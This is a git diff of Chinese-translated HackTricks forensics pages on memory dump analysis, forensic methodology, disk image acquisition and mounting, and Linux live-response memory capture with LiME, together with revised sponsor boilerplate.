你在一家**网络安全公司**工作吗?你想在HackTricks上看到你的**公司广告**吗?或者你想访问**最新版本的PEASS或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在Twitter上关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
||||
**通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR分享你的黑客技巧。**
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由世界上**最先进**的社区工具提供支持。\
|
||||
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
|
||||
今天就获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,40 +1,44 @@
|
|||
# 内存转储分析
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS&HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。 以**促进技术知识**为使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会 **旨在促进技术知识**,是各个学科技术和网络安全专业人士的热烈交流平台。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## 开始
|
||||
|
||||
开始在pcap文件中**搜索** **恶意软件**。 使用[**恶意软件分析**](../malware-analysis.md)中提到的**工具**。
|
||||
开始 **在 pcap 中搜索** **恶意软件**。使用 [**恶意软件分析**](../malware-analysis.md) 中提到的 **工具**。
|
||||
|
||||
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||
|
||||
**Volatility是主要的开源内存转储分析框架**。 这个Python工具分析来自外部来源或VMware虚拟机的转储,根据转储的操作系统配置文件识别数据,如进程和密码。 它可以通过插件进行扩展,使其在法医调查中非常灵活。
|
||||
**Volatility 是内存转储分析的主要开源框架**。这个 Python 工具分析来自外部源或 VMware 虚拟机的转储,基于转储的操作系统配置文件识别数据,如进程和密码。它可以通过插件扩展,使其在取证调查中非常灵活。
|
||||
|
||||
**[在这里找到一个速查表](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||
**[在这里找到备忘单](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||
|
||||
## 迷你转储崩溃报告
|
||||
|
||||
当转储文件很小(只有几KB,也许几MB)时,它可能是一个迷你转储崩溃报告,而不是内存转储。
|
||||
## 小型转储崩溃报告
|
||||
|
||||
当转储很小(只有几 KB,可能几 MB)时,它可能是小型转储崩溃报告,而不是内存转储。
|
||||
|
||||
![](<../../../.gitbook/assets/image (216).png>)
|
||||
|
||||
如果您安装了Visual Studio,您可以打开此文件并绑定一些基本信息,如进程名称、架构、异常信息和正在执行的模块:
|
||||
如果您安装了 Visual Studio,可以打开此文件并绑定一些基本信息,如进程名称、架构、异常信息和正在执行的模块:
|
||||
|
||||
![](<../../../.gitbook/assets/image (217).png>)
|
||||
|
||||
|
@ -44,27 +48,31 @@
|
|||
|
||||
![](<../../../.gitbook/assets/image (218) (1).png>)
|
||||
|
||||
无论如何,Visual Studio并不是执行深度分析的最佳工具。
|
||||
无论如何,Visual Studio 不是执行转储深度分析的最佳工具。
|
||||
|
||||
您应该使用 **IDA** 或 **Radare** 打开它以进行 **深入** 检查。
|
||||
|
||||
您应该使用IDA或Radare打开它以深入检查。
|
||||
|
||||
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的之一。 以**促进技术知识**为使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会 **旨在促进技术知识**,是各个学科技术和网络安全专业人士的热烈交流平台。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS&HackTricks商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# 基本取证方法论
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 创建和挂载镜像
|
||||
|
||||
|
@ -20,7 +23,7 @@
|
|||
|
||||
## 恶意软件分析
|
||||
|
||||
这**不一定是在获得镜像后执行的第一步**。但是,如果您有文件、文件系统镜像、内存镜像、pcap等,您可以独立使用这些恶意软件分析技术,因此**记住这些操作**是很有用的:
|
||||
这**并不是在获得镜像后必须执行的第一步**。但是如果你有一个文件、文件系统镜像、内存镜像、pcap...,你可以独立使用这些恶意软件分析技术,因此**记住这些操作是好的**:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
|
@ -28,13 +31,13 @@
|
|||
|
||||
## 检查镜像
|
||||
|
||||
如果您获得了设备的**取证镜像**,您可以开始**分析分区、使用的文件系统**并**恢复**可能**有趣的文件**(甚至是已删除的文件)。在以下位置了解如何操作:
|
||||
如果你获得了一个**取证镜像**,你可以开始**分析分区、文件系统**以及**恢复**潜在的**有趣文件**(甚至是已删除的文件)。了解如何进行:
|
||||
|
||||
{% content-ref url="partitions-file-systems-carving/" %}
|
||||
[partitions-file-systems-carving](partitions-file-systems-carving/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
根据使用的操作系统甚至平台,应搜索不同的有趣的证据:
|
||||
根据使用的操作系统甚至平台,应该搜索不同的有趣文物:
|
||||
|
||||
{% content-ref url="windows-forensics/" %}
|
||||
[windows-forensics](windows-forensics/)
|
||||
|
@ -48,16 +51,16 @@
|
|||
[docker-forensics.md](docker-forensics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 对特定文件类型和软件进行深入检查
|
||||
## 深入检查特定文件类型和软件
|
||||
|
||||
如果您有一个非常**可疑的文件**,那么**根据文件类型和创建它的软件**,可能会有几种**技巧**很有用。\
|
||||
如果你有一个非常**可疑的****文件**,那么**根据文件类型和创建它的软件**,可能会有几种**技巧**是有用的。\
|
||||
阅读以下页面以了解一些有趣的技巧:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/" %}
|
||||
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
我想特别提到页面:
|
||||
我想特别提到以下页面:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
|
||||
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
|
||||
|
@ -69,7 +72,7 @@
|
|||
[memory-dump-analysis](memory-dump-analysis/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Pcap检查
|
||||
## Pcap 检查
|
||||
|
||||
{% content-ref url="pcap-inspection/" %}
|
||||
[pcap-inspection](pcap-inspection/)
|
||||
|
@ -77,26 +80,29 @@
|
|||
|
||||
## **反取证技术**
|
||||
|
||||
请记住可能使用反取证技术:
|
||||
请记住可能使用的反取证技术:
|
||||
|
||||
{% content-ref url="anti-forensic-techniques.md" %}
|
||||
[anti-forensic-techniques.md](anti-forensic-techniques.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 威胁猎杀
|
||||
## 威胁狩猎
|
||||
|
||||
{% content-ref url="file-integrity-monitoring.md" %}
|
||||
[file-integrity-monitoring.md](file-integrity-monitoring.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,25 @@
|
|||
# 图像获取与挂载
|
||||
# 图像采集与挂载
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 获取
|
||||
## 采集
|
||||
|
||||
### DD
|
||||
```bash
|
||||
|
@ -31,13 +34,13 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
|
|||
```
|
||||
### FTK Imager
|
||||
|
||||
您可以[**从这里下载 FTK Imager**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1)。
|
||||
您可以[**从这里下载 FTK imager**](https://accessdata.com/product-download/debian-and-ubuntu-x64-3-1-1)。
|
||||
```bash
|
||||
ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --description 'A description' --examiner 'Your name'
|
||||
```
|
||||
### EWF
|
||||
|
||||
您可以使用[**ewf工具**](https://github.com/libyal/libewf)生成磁盘映像。
|
||||
您可以使用[ **ewf tools**](https://github.com/libyal/libewf)生成磁盘映像。
|
||||
```bash
|
||||
ewfacquire /dev/sdb
|
||||
#Name: evidence
|
||||
|
@ -54,11 +57,11 @@ ewfacquire /dev/sdb
|
|||
#Then use default values
|
||||
#It will generate the disk image in the current directory
|
||||
```
|
||||
## 挂载
|
||||
## Mount
|
||||
|
||||
### 几种类型
|
||||
### Several types
|
||||
|
||||
在 **Windows** 中,您可以尝试使用 Arsenal Image Mounter 的免费版本 ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) 来**挂载取证镜像**。
|
||||
在**Windows**中,您可以尝试使用Arsenal Image Mounter的免费版本 ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) 来**挂载取证镜像**。
|
||||
|
||||
### Raw
|
||||
```bash
|
||||
|
@ -69,8 +72,6 @@ evidence.img: Linux rev 1.0 ext4 filesystem data, UUID=1031571c-f398-4bfb-a414-b
|
|||
#Mount it
|
||||
mount evidence.img /mnt
|
||||
```
|
||||
### EWF
|
||||
|
||||
### EWF
|
||||
```bash
|
||||
#Get file type
|
||||
|
@ -88,12 +89,12 @@ mount output/ewf1 -o ro,norecovery /mnt
|
|||
```
|
||||
### ArsenalImageMounter
|
||||
|
||||
这是一个用于挂载卷的Windows应用程序。您可以在这里下载它 [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
|
||||
这是一个用于挂载卷的Windows应用程序。您可以在这里下载 [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
|
||||
|
||||
### 错误
|
||||
### Errors
|
||||
|
||||
* **`无法以只读方式挂载 /dev/loop0`** 在这种情况下,您需要使用标志 **`-o ro,norecovery`**
|
||||
* **`错误的文件系统类型、错误的选项、/dev/loop0 上的错误的超级块、缺少代码页或辅助程序,或其他错误。`** 在这种情况下,挂载失败是因为文件系统的偏移量与磁盘映像的偏移量不同。您需要找到扇区大小和起始扇区:
|
||||
* **`cannot mount /dev/loop0 read-only`** 在这种情况下,您需要使用标志 **`-o ro,norecovery`**
|
||||
* **`wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error.`** 在这种情况下,挂载失败是因为文件系统的偏移量与磁盘映像的偏移量不同。您需要找到扇区大小和起始扇区:
|
||||
```bash
|
||||
fdisk -l disk.img
|
||||
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
|
||||
|
@ -106,7 +107,7 @@ Disk identifier: 0x00495395
|
|||
Device Boot Start End Sectors Size Id Type
|
||||
disk.img1 2048 208895 206848 101M 1 FAT12
|
||||
```
|
||||
注意,扇区大小为**512**,起始位置为**2048**。然后按照以下方式挂载镜像:
|
||||
注意扇区大小为 **512**,起始为 **2048**。然后像这样挂载镜像:
|
||||
```bash
|
||||
mount disk.img /mnt -o ro,offset=$((2048*512))
|
||||
```
|
||||
|
@ -114,14 +115,17 @@ mount disk.img /mnt -o ro,offset=$((2048*512))
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要在**HackTricks中宣传你的公司**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或者 [**电报群**](https://t.me/peass) 或者在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -27,7 +27,7 @@
|
|||
|
||||
### 基本信息
|
||||
|
||||
首先,建议准备一些 **USB**,上面有 **已知的良好二进制文件和库**(你可以直接获取 ubuntu 并复制文件夹 _/bin_, _/sbin_, _/lib,_ 和 _/lib64_),然后挂载 USB,并修改环境变量以使用这些二进制文件:
|
||||
首先,建议准备一个 **USB**,上面有 **已知的良好二进制文件和库**(你可以直接获取 ubuntu 并复制文件夹 _/bin_, _/sbin_, _/lib,_ 和 _/lib64_),然后挂载 USB,并修改环境变量以使用这些二进制文件:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
|
@ -54,17 +54,17 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
|||
|
||||
在获取基本信息时,您应该检查一些奇怪的事情,例如:
|
||||
|
||||
* **Root 进程** 通常使用低 PIDS,因此如果您发现一个具有大 PID 的 root 进程,您可能会怀疑
|
||||
* 检查 `/etc/passwd` 中没有 shell 的用户的 **注册登录**
|
||||
* 检查 `/etc/shadow` 中没有 shell 的用户的 **密码哈希**
|
||||
* **Root 进程** 通常使用低 PIDS,因此如果您发现一个大 PID 的 root 进程,您可能会怀疑
|
||||
* 检查 **没有 shell 的用户** 在 `/etc/passwd` 中的 **注册登录**
|
||||
* 检查 **没有 shell 的用户** 在 `/etc/shadow` 中的 **密码哈希**
|
||||
|
||||
### 内存转储
|
||||
|
||||
要获取运行系统的内存,建议使用 [**LiME**](https://github.com/504ensicsLabs/LiME)。\
|
||||
要获取正在运行的系统的内存,建议使用 [**LiME**](https://github.com/504ensicsLabs/LiME)。\
|
||||
要 **编译** 它,您需要使用受害者机器正在使用的 **相同内核**。
|
||||
|
||||
{% hint style="info" %}
|
||||
请记住,您 **不能在受害者机器上安装 LiME 或其他任何东西**,因为这会对其进行多次更改
|
||||
请记住,您 **不能在受害者机器上安装 LiME 或其他任何东西**,因为这会对其进行多项更改
|
||||
{% endhint %}
|
||||
|
||||
因此,如果您有一个相同版本的 Ubuntu,您可以使用 `apt-get install lime-forensics-dkms`\
|
||||
|
@ -79,7 +79,7 @@ LiME 支持 3 **格式**:
|
|||
* 填充(与原始相同,但右侧位用零填充)
|
||||
* Lime(推荐格式,带有元数据)
|
||||
|
||||
LiME 还可以用于 **通过网络发送转储**,而不是使用类似 `path=tcp:4444` 的方式将其存储在系统上。
|
||||
LiME 还可以用来 **通过网络发送转储**,而不是使用类似 `path=tcp:4444` 的方式将其存储在系统上。
|
||||
|
||||
